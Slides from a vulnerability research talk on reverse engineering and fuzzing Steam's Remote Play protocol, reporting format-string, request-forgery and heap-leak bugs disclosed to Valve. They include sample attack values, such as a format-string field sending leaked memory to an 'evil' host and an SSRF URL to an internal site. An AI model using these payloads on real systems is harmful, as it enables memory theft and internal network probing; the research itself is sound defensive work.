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Introduction

▌Context

• 3,000,000,000+ people play video games

• 1,000,000,000+ people play online video games

• Lots of platforms / systems

• Diverse demography among players

➢ Great target for remote hackers
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▪ Well known game engine: Source Engine

▪ Bug bounty program on HackerOne, some public reports! → great entry point
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Introduction

▌Target

• Valve

▪ Created many popular games: Half-Life, Counter-Strike, Portal…

▪ Well known game engine: Source Engine

▪ Bug bounty program on HackerOne, some public reports! → great entry point

• Steam

▪ Software application developed by Valve

▪ Most widely used video game platform

▪ Centralizes and distributes 50,000+ games

▪ Many features (social network, game integration, marketplace…) 



12

Introduction

▌Choice of a component to target

• Lots of interesting attack surfaces!

▪ Game-specific components

▪ Source engine

▪ Steamworks API

▪ Steam client itself (less researched?)

Steam client

Steamworks API

Game A Game B Game C

Source Engine Source Engine Source Engine
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Introduction

▌Choice of a component to target

• A specific component in Steam...

▪ Undocumented protocol

▪ No public reports, blog posts...

▪ Widely used and with interesting features!

Steam client

Steamworks API

Game A Game B Game C

Source Engine Source Engine Source Engine
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Presentation of Remote Play
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Presentation of Remote Play

▌Timeline

Steam Link
2015

2018
Steam Link
(software)

Remote Play Together
2019
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Presentation of Remote Play

▌Remote Play Together

• Play through another player without owning the game

• Streaming and remote control protocol
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Presentation of Remote Play

▌Host/guest interaction

• Host sends invite link to start Remote Play session

• Direct connection between host and guest

▪ P2P / transparent relay: directly attack remote machine!

▪ Can find vulnerabilities client-side (guest) or server-side (host)

steam://remoteplay/connect/xxx
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Presentation of Remote Play

▌Impact

• Both client-side and server-side security is worth looking at

• Even stronger impact for client victims:

▪ No particular game has to be owned on Steam

▪ No need to be friends with the attacker (anyone can open an invite link)

▪ Attack may be turned zero-click (hidden steam:// wrapper in a web page)
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Study of the Remote Play 
implementations in Steam
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Study of the Remote Play implementations in Steam

▌Software architecture

• Analysis conducted on the Windows environment

• Server: SteamUI.dll

• Client: streaming_client.exe (separate process)

• ~30 MB of stripped C++...
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Study of the Remote Play implementations in Steam

▌A little help...

• Steam Link client for Android has symbols (function names)!!

▪ Native library

▪ Compilation mistake from Valve?

Windows Android
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Study of the Remote Play implementations in Steam

▌Reverse engineering the protocol

• Getting started: SteamDB project

...

https://github.com/SteamDatabase/Protobufs
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Study of the Remote Play implementations in Steam

▌Network reception logic and processing
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Study of the Remote Play implementations in Steam

▌Channel system



36

Study of the Remote Play implementations in Steam

▌Channel system

• Control channel (0x1)

▪ Input, config, display, remote device interaction (HID)…

▪ Lots of complex messages and structures to hunt for bugs

• Stats channel (0x2)

▪ Statistics, events, logs...

• Data channels (≥ 0x3)

▪ Audio/video data sub-protocols

▪ Open and close channels
dynamically on-the-fly
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Study of the Remote Play implementations in Steam

▌Message format
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Study of the Remote Play implementations in Steam

▌Processing of channel messages



39

Study of the Remote Play implementations in Steam

▌Processing of control messages

• All control messages are encrypted

▪ (Except Handshake/Authentication)

• Dispatch to corresponding message type handler

• Most messages’ treatment is deferred

▪ Exception: remote HID device interaction
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Study of the Remote Play implementations in Steam

▌Processing of control messages

• All control messages are encrypted

▪ (Except Handshake/Authentication)

• Dispatch to corresponding message type handler

• Most messages’ treatment is deferred

▪ Exception: remote HID device interaction
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Study of the Remote Play implementations in Steam

▌Crypto
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Study of the Remote Play implementations in Steam

▌Connection sequence diagram

• State machine implementation
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Study of the Remote Play implementations in Steam

▌Connection sequence diagram

• State machine implementation

• Largest surface in STREAMING state
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Main attack surfaces
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Main attack surfaces

▌Three main surfaces

Attack surface Client → server Server → client

Control messages ~40 message types ~50 message types

Remote HID 5 message types 12 message types

Audio/video data Audio codecs Audio/video codecs
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Main attack surfaces

▌Three main surfaces

• Other surfaces (not as fruitful)

▪ Connection sequence

▪ Header parsing (channel management, packet fragmentation...)

Attack surface Client → server Server → client

Control messages ~40 message types ~50 message types

Remote HID 5 message types 12 message types

Audio/video data Audio codecs Audio/video codecs
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Main attack surfaces

▌Control messages

• ~100 message types total

CStartAudioDataMsg
CStopAudioDataMsg
CStartVideoDataMsg
CStopVideoDataMsg
CShowCursorMsg
CHideCursorMsg
CSetCursorMsg
CSetCursorImageMsg
CDeleteCursorMsg
CSetTargetFramerateMsg
COverlayEnabledMsg
CSetTitleMsg
CSetIconMsg
CQuitRequest
CSetQoSMsg

CSetGammaRampMsg
CVideoEncoderInfoMsg
CSetTargetBitrateMsg
CSetActivityMsg
CSetStreamingClientConfig
CSystemSuspendMsg
CVirtualHereReadyMsg
CSetSpectatorModeMsg
CStartAudioDataMsg
CStopAudioDataMsg
CTouchConfigActiveMsg
CSetTouchConfigDataMsg
CTouchActionSetActiveMsg
CGetTouchIconDataMsg

CSetTouchIconDataMsg
CSetCaptureSizeMsg
CSetFlashStateMsg
CToggleMagnificationMsg
CSetCapslockMsg
CSetKeymapMsg
CTouchActionSetLayerAddedMsg
CTouchActionSetLayerRemovedMsg
CRemotePlayTogetherGroupUpdateMsg
CSetInputTemporarilyDisabledMsg
CSetQualityOverrideMsg
CSetBitrateOverrideMsg
CShowOnScreenKeyboardMsg
CControllerConfigMsg

...
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Main attack surfaces

▌Control messages

• 1 msg type → 1 protobuf structure

▪ Some structures are more intricate than others...
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Main attack surfaces

Serialized protobuf (nested)

▌Remote HID

• Human Interface Devices

▪ Interact with USB controllers, joysticks…

• Special case of control message

▪ Handled with higher priority (not queued)
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Main attack surfaces

▌Remote HID

• Human Interface Devices

▪ Interact with USB controllers, joysticks…

• Special case of control message

▪ Handled with higher priority (not queued)

• DeviceOpen
• DeviceClose
• DeviceWrite
• DeviceRead
• DeviceSendFeatureReport
• DeviceGetFeatureReport
• DeviceGetVendorString
• DeviceGetProductString
• DeviceGetSerialNumberString
• DeviceStartInputReports
• DeviceRequestFullReport
• DeviceDisconnect

Interface
depends on plugged device

• CVirtualController
• CHIDDeviceSDLGamepad
• CHIDDeviceSDLJoystick
• CHIDDeviceLocal
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Main attack surfaces

▌Audio/video data

• A whole new layer / sub-protocol

• Handler depends on codec

▪ Common header structure, distinct bodies
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Building a dedicated fuzzer
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Building a dedicated fuzzer

▌Disclaimer

• Initial purpose

▪ Reimplement a custom client/server in Python

▪ Play around with the protocol easily

▪ Craft arbitrary messages
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Building a dedicated fuzzer

▌Disclaimer

• Initial purpose

▪ Reimplement a custom client/server in Python

▪ Play around with the protocol easily

▪ Craft arbitrary messages

• These reimplementations naturally grew into an ad-hoc fuzzer

• No state of the art tooling, no advanced features

▪ A « simplistic » homemade fuzzer is sometimes enough 😉
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Building a dedicated fuzzer

▌rpfuzz

• Initial idea: random Protobuf mutations → quick wins?

• Evolved into a more refined version with multiple components
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Building a dedicated fuzzer

▌rpfuzz

• Fuzzer component : supports control messages and audio/video

• Choose a message type, generate a Protobuf mutation, send it

▪ Essentially stateless
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Building a dedicated fuzzer

▌rpfuzz

• Logger/replay systems: save / replay mutations (fuzzing history file)

• Scenario system: write specific scenarios and play them at any time

▪ Each crash scenario specifies a « trigger condition » → avoid known crashes!
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Building a dedicated fuzzer

▌pbfuzz: a custom Protobuf mutation engine

• Play with inner objects/attributes of the protobuf module

• Walk through message descriptors, types, labels

• Several mutation strategies for each field type, inspired by model-less engines

▪ Strings/bytes fields → bit flips, subs, insertion of random or « interesting » data...

▪ Integer/floats fields → « interesting » values depending on bit size, signedness...

▪ Repeated fields

▪ Nested message fields (recursion)

▪ ...
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Building a dedicated fuzzer

▌Performance and surface reached

• Fuzzing speed: target is the bottleneck

▪ Adjust speed manually not to overload the target

▪ Can still reach 100 to 1000 messages/s

• Surface reached

▪ All control messages

▪ All audio/video codecs (except raw accelerated and HEVC)
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Building a dedicated fuzzer

▌Performance and surface reached

• Fuzzing speed: target is the bottleneck

▪ Adjust speed manually not to overload the target

▪ Can still reach 100 to 1000 messages/s

• Surface reached

▪ All control messages

▪ All audio/video codecs (except raw accelerated and HEVC)

• No dynamic instrumentation / code coverage ability

• Still enough to uncover many bugs!
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Results
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Results

▌Fuzzing campaign outcome

• A dozen of bugs in total

▪ Heap overflows, integer overflows, OOB read/writes, malloc DoS...

▪ All platforms impacted (Windows, Linux, Android, iOS)

▪ Can’t communicate yet because of responsible disclosure

Victim Description Impact

Client CRPTogetherGroupUpdateMsg format string Remote memory leak

Client CRPTogetherGroupUpdateMsg request forgery Info leak, pivot
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Results

▌Format string bugs in CRemotePlayTogetherGroupUpdateMsg
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Results

▌Format string bugs in CRemotePlayTogetherGroupUpdateMsg

https://steamcommunity.com/miniprofile/%u/json

cURL
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Results

▌Format string bugs in CRemotePlayTogetherGroupUpdateMsg

• First argument is attacker-controlled (accountid)

• Leak arbitrary memory from the process (%x, %s...)

• No write primitive (%n disabled on Windows, FORTIFY on Linux)

• Exact same vulnerability in avatar_location field
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Results

▌Format string bugs in CRemotePlayTogetherGroupUpdateMsg

• How do we retrieve the leaks?
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Results

▌Format string bugs in CRemotePlayTogetherGroupUpdateMsg

• How do we retrieve the leaks?

• Exfiltrate leaks through either:

▪ HTTP (miniprofile_location="http://evil/%x")

▪ Stats channel (client debug strings are automatically sent over!!)

DebugString: "Web request Leak: 13374242.11fe0ff0.11fe0fec.13374242 failed, CURL error code 3, HTTP error code 0" 

Host

Stats
channel
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Results

▌Format string bugs in CRemotePlayTogetherGroupUpdateMsg

• Impact

▪ Break ASLR (Steam DLLs, Windows DLLs)

▪ First step for any attack targeting the Steam client or Valve games

▪ Leak sensitive process memory: environment, paths, tokens...
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Results

▌Format string bugs in CRemotePlayTogetherGroupUpdateMsg

• Impact

▪ Break ASLR (Steam DLLs, Windows DLLs)

▪ First step for any attack targeting the Steam client or Valve games

▪ Leak sensitive process memory: environment, paths, tokens...

• Patch

¯\_(ツ)_/¯
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Results

▌Request forgery in CRemotePlayTogetherGroupUpdateMsg

• We can make the client perform arbitrary HTTP GET requests
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Results

▌Request forgery in CRemotePlayTogetherGroupUpdateMsg

• We can make the client perform arbitrary HTTP GET requests

• Response contents is output in debug string!!

DebugString: "Couldn't parse profile data: syntax error at line 1 near: <VERY SECRET DATA>" 

miniprofile_location="http://internal.site/secret-page"
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• Response contents is output in debug string!!
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Host
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Results

▌Request forgery in CRemotePlayTogetherGroupUpdateMsg

• Impact

▪ Leak web pages over internal network

▪ Scan victim’s internal network (ports, IP ranges)

▪ Pivot through vulnerable service...

▪ No file://wrapper :(
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Results

▌Request forgery in CRemotePlayTogetherGroupUpdateMsg

• Impact

▪ Leak web pages over internal network

▪ Scan victim’s internal network (ports, IP ranges)

▪ Pivot through vulnerable service...

▪ No file://wrapper :(

• Patch

▪ Domain validation (whitelist)



86

Results

▌YV12 video channel heap leak
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Results

▌YV12 video channel heap leak
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Results

▌YV12 video channel heap leak
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Results

▌YV12 video channel heap leak
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Results

▌YV12 video channel heap leak
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Results

▌It’s raining heap leaks

cursor icon
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Results

▌Reporting to Valve

• 2022

▪ Oct 12th: submit 1st report with PoCs

▪ Nov 8th: $$$

• 2023

▪ Jan 16th: patch release
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Results

▌Reporting to Valve

• 2022

▪ Oct 12th: submit 1st report with PoCs

▪ Nov 8th: $$$

• 2023

▪ Jan 16th: patch release

▪ Jan 20th: report new batch of vulnerabilities

▪ ?
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Conclusion

• We have covered several captivating aspects of reverse/vulnerability research:

▪ Choosing a target

▪ Reverse engineering a product

▪ Analyzing a protocol

▪ Bringing out an attack surface

▪ Implementing a basic client/server to talk to the target

▪ Building a fuzzer upon all this work

▪ Investigating crashes, exploiting bugs, assessing risk

• Target needs more “reverse”→ easier wins
▪ (doesn’t apply everytime... but still a relevant rule of thumb?)

“reverse”

“vulnerability research”



95

Thank you for your attention
Questions?

https://twitter.com/thalium_team

https://thalium.re/

https://twitter.com/thalium_team
https://thalium.re/
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